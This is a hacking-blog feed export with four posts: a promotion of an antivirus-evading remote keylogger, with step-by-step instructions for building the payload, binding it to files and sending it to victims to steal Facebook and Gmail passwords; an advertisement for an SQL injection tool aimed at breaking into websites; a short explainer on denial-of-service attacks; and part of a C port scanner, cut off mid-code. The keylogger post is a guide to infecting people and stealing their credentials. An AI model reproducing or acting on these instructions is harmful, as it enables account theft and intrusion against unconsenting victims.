<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7551441440082432535</id><updated>2026-01-18T15:48:51.811-08:00</updated><category term="C / C++"/><category term="Network hacking"/><title type='text'>LEARN HACKING ONLINE</title><subtitle type='html'>HERE IS THE HOUSE OF ALL COMPUTER AND INTERNET PROBBLES ARE BEEN SOLVED.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>77</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-8150197735486095522</id><published>2011-07-05T09:56:00.001-07:00</published><updated>2011-07-05T09:56:58.642-07:00</updated><title type='text'>UD Remote Keylogger To Hack Gmail, Facebook Account Password (v2.0)</title><content type='html'>FUD keylogger is the one we all want. But when ever I give any Keylogger it got arrested by most of the Anti-spywares and Anti-virus. Previously I posted one UD keylogger and again its got detected in 4 days only. So again I am going to share the same keylogger&#39;s updated FUD keylogger&lt;br /&gt;
&lt;br /&gt;
&lt;h1 style=&quot;background-color: #cfe2f3;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Hack Facebook Accounts , Hack Gmail Account With FUD Keylogger&lt;/span&gt;&lt;/h1&gt;Here I am going to present a &lt;b&gt;New Remote Keylogger&lt;/b&gt; which has the power to &lt;b&gt;hack facebook accounts&lt;/b&gt; and &lt;b&gt;Hack Gmail Accounts&lt;/b&gt; to record all the key strokes typed&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://i.imgur.com/Em4lG.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://i.imgur.com/Em4lG.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h3 style=&quot;background-color: #cfe2f3;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Features Of New UD Remote Keylogger :&lt;/span&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;UD - 1/33&lt;/li&gt;
&lt;li&gt;You Can Use Gmail Account to get the logs&lt;/li&gt;
&lt;li&gt;Add To Start Up also included&lt;/li&gt;
&lt;li&gt;It also Kills Task Manager&lt;/li&gt;
&lt;li&gt;Automatically Hides the virus after infecting the victim&lt;/li&gt;
&lt;li&gt;Also Disables Registry Editing&lt;/li&gt;
&lt;li&gt;Stops victim From Ending Your Keylogger&#39;s Process&lt;/li&gt;
&lt;li&gt;New Icon Changer&lt;/li&gt;
&lt;li&gt;File Binder&lt;/li&gt;
&lt;li&gt;With Fake Error Message&lt;/li&gt;
&lt;li&gt;Includes Time Interval&lt;/li&gt;
&lt;/ul&gt;&lt;h4 style=&quot;background-color: #cfe2f3;&quot;&gt;How To Use This Remote Keylogger for Hacking Of Facebook Accounts&lt;/h4&gt;- &lt;a href=&quot;http://adf.ly/1rM9R&quot;&gt;&lt;b&gt;Download The Remote UD Keylogger&lt;/b&gt;&lt;/a&gt; and extract the folder to desktop&lt;br /&gt;
- Open the Remote keylogger and enter new created Gmail account username and password&lt;br /&gt;
- Select the other settings as you need and donot forget to change Time Interval to 2 min&lt;br /&gt;
- If you want then use Icon changer, File Binder, etc and then click on Build Server&lt;br /&gt;
- Now upload this keylogger to file sharing sites like megaupload.com , mediafire.com&lt;br /&gt;
- Now send Server to victim by any mean and when he/she will click on server, he will be hacked&lt;br /&gt;
- Now you will get the victim typed keystroke which also includes &lt;b&gt;Hack Facebook Account Password&lt;/b&gt;&lt;br /&gt;
- You can hack any account by this Remote Keylogger&lt;br /&gt;
&lt;br /&gt;
So you are done, I am sure that you will enjoy this Remote Keylogger and if you have any problem then please do comment and share your problem. I am always ready to help you all.&lt;br /&gt;
&lt;br /&gt;
Incoming search terms:-&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;Hack Gmail Account&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Hacking of facebook account&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Hack gmail account&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Hack Gmail account password&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Hack facebook account online&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/8150197735486095522/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/ud-remote-keylogger-to-hack-gmail.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/8150197735486095522'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/8150197735486095522'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/ud-remote-keylogger-to-hack-gmail.html' title='UD Remote Keylogger To Hack Gmail, Facebook Account Password (v2.0)'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-4407217547296954223</id><published>2011-07-05T09:52:00.000-07:00</published><updated>2011-07-05T09:52:07.624-07:00</updated><title type='text'>SQL injection Hack tool for hacking websites and database</title><content type='html'>&lt;div style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Safe3SI is one of the most powerful and easy usage penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a kick-ass detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt; &lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPuG_9SziZFnxiGroXMpM5sz8IgjREbotZmBCGmkgBQeShFfoH9-VzF141z6b59gBWI9fau1_alvcMX3WqvtZOVKtgVSz1KXlW0Ds_-CR-zKN8IaVHV2zH4J__KqDPRbUwJ9oA48WTS-0V/s1600/secure-keyloggers-hijackers-300x198.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;how to hack websites using SQL injection, SQL Hack tool&quot; border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPuG_9SziZFnxiGroXMpM5sz8IgjREbotZmBCGmkgBQeShFfoH9-VzF141z6b59gBWI9fau1_alvcMX3WqvtZOVKtgVSz1KXlW0Ds_-CR-zKN8IaVHV2zH4J__KqDPRbUwJ9oA48WTS-0V/s1600/secure-keyloggers-hijackers-300x198.jpg&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&lt;b&gt;Features&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;font-family: Arial,Helvetica,sans-serif; text-align: justify;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Full support for http, https website.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Full support for Basic, Digest, NTLM http authentications.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Full support for GET, Post, Cookie sql injection.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Full  support for MySQL, Oracle, PostgreSQL, &lt;span class=&quot;IL_AD&quot; id=&quot;IL_AD6&quot;&gt;Microsoft SQL Server&lt;/span&gt;, Microsoft  Access, SQLite, Firebird, Sybase and SAP MaxDB database management  systems.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Full support for four SQL injection techniques: blind, error-based, UNION query and force guess.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Powerful AI engine to automatic recognize injection type, database type, sql injection best way.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Support to enumerate databases, tables, columns and data.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Support  to read,list and write any file from the database server underlying  file system when the database &lt;span class=&quot;IL_AD&quot; id=&quot;IL_AD4&quot;&gt;software&lt;/span&gt; is MySQL or Microsoft SQL Server.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is Oracle or Microsoft SQL Server.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Support to ip domain query,web path guess,md5 crack etc.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Support for sql injection scan.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;a href=&quot;http://www.blogger.com/goog_764397955&quot;&gt;&lt;br /&gt;
&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.blogger.com/%20http://code.google.com/p/safe3si/downloads/detail?name=Safe3SI-8.3.rar&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&lt;b&gt;Download&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/4407217547296954223/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/sql-injection-hack-tool-for-hacking.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/4407217547296954223'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/4407217547296954223'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/sql-injection-hack-tool-for-hacking.html' title='SQL injection Hack tool for hacking websites and database'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPuG_9SziZFnxiGroXMpM5sz8IgjREbotZmBCGmkgBQeShFfoH9-VzF141z6b59gBWI9fau1_alvcMX3WqvtZOVKtgVSz1KXlW0Ds_-CR-zKN8IaVHV2zH4J__KqDPRbUwJ9oA48WTS-0V/s72-c/secure-keyloggers-hijackers-300x198.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-2072048129808098737</id><published>2011-07-05T04:25:00.001-07:00</published><updated>2011-07-05T04:25:25.655-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Network hacking"/><title type='text'>Denial Of Service Attack</title><content type='html'>&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-171&quot; height=&quot;345&quot; src=&quot;http://www.gohacking.com/wp-content/uploads/2008/12/ddos-attack.jpg&quot; title=&quot;ddos-attack&quot; width=&quot;444&quot; /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Its Real,On February 6th, 2000, Yahoo portal was shut down for 3 hours. Then retailer Buy.com Inc. (BUYX) was hit the next day, hours after going public. By that evening, eBay (EBAY), Amazon.com (AMZN), and CNN (TWX) had gone dark. And in the morning, the mayhem continued with online broker E*Trade (EGRP) and others having traffic to their sites virtually choked off.&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-size: 130%;&quot;&gt;What is a Denial Of Service Attack?&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;A denial of service attack (DOS) is an attack through which a person can render a system unusable or significantly slow down the system for legitimate users by overloading the resources, so that no one can access it.&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;If an attacker is unable to gain access to a machine, the attacker most probably will just crash the machine to accomplish a denial of service attack.&lt;/li&gt;
&lt;/ul&gt;&lt;strong&gt;Types of denial of service attacks&lt;/strong&gt;&lt;br /&gt;
There are several general categories of DoS attacks.Popularly, the attacks are divided into three classes:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;bandwidth attacks,&lt;/li&gt;
&lt;li&gt;protocol attacks, and&lt;/li&gt;
&lt;li&gt;logic attacks&lt;br /&gt;
&lt;strong&gt;&amp;nbsp;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;strong&gt;&lt;span style=&quot;font-size: 130%;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;What is Distributed Denial of Service Attack?&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;An attacker launches the attack using several machines. In this case, an attacker breaks into several machines, or coordinates with several zombies to launch an attack against a target or network at the same time.&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;This makes it difficult to detect because attacks originate from several IP addresses.&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;If a single IP address is attacking a company, it can block that address at its firewall. If it is 30000 this is extremely difficult.&lt;/li&gt;
&lt;/ul&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/2072048129808098737/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/denial-of-service-attack.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/2072048129808098737'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/2072048129808098737'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/denial-of-service-attack.html' title='Denial Of Service Attack'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-751208895430638640</id><published>2011-07-05T04:24:00.001-07:00</published><updated>2011-07-05T04:24:37.475-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C / C++"/><title type='text'>Port Scanner in C (with Translation of Functions)</title><content type='html'>&lt;b&gt;.........................................................................................................&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://www.planet-source-code.com/Upload_PSC/AuthorPhotos/AUTHOR_PHOTO20089271050562345.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://www.planet-source-code.com/Upload_PSC/AuthorPhotos/AUTHOR_PHOTO20089271050562345.jpeg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;#include &lt;stdio.h&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; //standard library function&lt;br /&gt;
#include &lt;sys types.h=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//for socket n networking functions&lt;br /&gt;
#include &lt;sys socket.h=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; //for socket function&lt;br /&gt;
#include &lt;netinet in.h=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//for networking&lt;br /&gt;
#include &lt;netdb.h&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//for database......... not required........ here&lt;br /&gt;
#include &lt;stdlib.h&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//stad library function hope u guys know abt this&lt;br /&gt;
#include &lt;errno.h&gt;&lt;br /&gt;
&lt;br /&gt;
/* Main programs starts*/&lt;br /&gt;
int main(int argc, char **argv)&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//argc&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp; &amp;nbsp;int&amp;nbsp; &amp;nbsp;sd;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//socket descriptor&lt;br /&gt;
&amp;nbsp; &amp;nbsp;int&amp;nbsp; &amp;nbsp; port;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//port number&lt;br /&gt;
&amp;nbsp; &amp;nbsp;int&amp;nbsp; &amp;nbsp;start;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//start port&lt;br /&gt;
&amp;nbsp; &amp;nbsp;int&amp;nbsp; &amp;nbsp; end;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//end port&lt;br /&gt;
&amp;nbsp; &amp;nbsp;int&amp;nbsp; &amp;nbsp; rval;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//socket descriptor for connect&lt;br /&gt;
&amp;nbsp; &amp;nbsp;char&amp;nbsp; &amp;nbsp; response[1024];&amp;nbsp; &amp;nbsp; &amp;nbsp; //to receive data&lt;br /&gt;
&amp;nbsp; &amp;nbsp;char&amp;nbsp; &amp;nbsp;*message=&quot;shell&quot;;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//data to send&lt;br /&gt;
&amp;nbsp; &amp;nbsp;struct hostent *hostaddr;&amp;nbsp; &amp;nbsp;//To be used for IPaddress&lt;br /&gt;
&amp;nbsp; &amp;nbsp;struct sockaddr_in servaddr;&amp;nbsp; &amp;nbsp;//socket structure&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp;if (argc &amp;lt; 4 )&lt;br /&gt;
&amp;nbsp; &amp;nbsp;{&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;------Created By &lt;a href=&quot;http://www.softhardware.co.uk-----------%5c/&quot; target=&quot;_blank&quot;&gt;www.Softhardware.co.uk-----------\&lt;/a&gt;n&quot;);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;--------------------------------------------------\n&quot;);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;Usage: ./tscan &lt;ipaddress&gt; &lt;start port=&quot;&quot;&gt; &lt;end port=&quot;&quot;&gt;\n&quot;);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;--------------------------------------------------\n&quot;);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; return (EINVAL);&lt;br /&gt;
&amp;nbsp; &amp;nbsp;}&lt;br /&gt;
&amp;nbsp; &amp;nbsp;start = atoi(argv[2]);&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//Takes the starting port number to scan from&lt;br /&gt;
&amp;nbsp; &amp;nbsp;end&amp;nbsp; &amp;nbsp;= atoi(argv[3]);&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // FOr last port number that has to be scanned&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp;for (port=start; port&amp;lt;=end; port++)&lt;br /&gt;
&amp;nbsp; &amp;nbsp;{&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//portno is ascii to int second argument&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp;sd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); //created the tcp socket // PF_INET==family name AF_INET can also be used, SOCK_STREAM is how data bytes have to be sent, IPPRPTP_TCP== which protocol to follow, UDP or TCP&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp;if (sd == -1) // THis fucntion checks for the socket creation, if socket is created successful then continue else....&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;print error&lt;br /&gt;
&amp;nbsp; &amp;nbsp;{&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;perror(&quot;Socket()\n&quot;);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;return (errno);&lt;br /&gt;
&amp;nbsp; &amp;nbsp;}&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp;memset( &amp;amp;servaddr, 0, sizeof(servaddr));&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp;servaddr.sin_family = AF_INET;&amp;nbsp; //FAMILY NAME&lt;br /&gt;
&amp;nbsp; &amp;nbsp;servaddr.sin_port = htons(port); //set the portno&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp;hostaddr = gethostbyname( argv[1] ); //get the ip 1st argument&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp;memcpy(&amp;amp;servaddr.sin_addr, hostaddr-&amp;gt;h_addr, hostaddr-&amp;gt;h_length);&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp;//below connects to the specified ip in hostaddr&lt;br /&gt;
&lt;br /&gt;
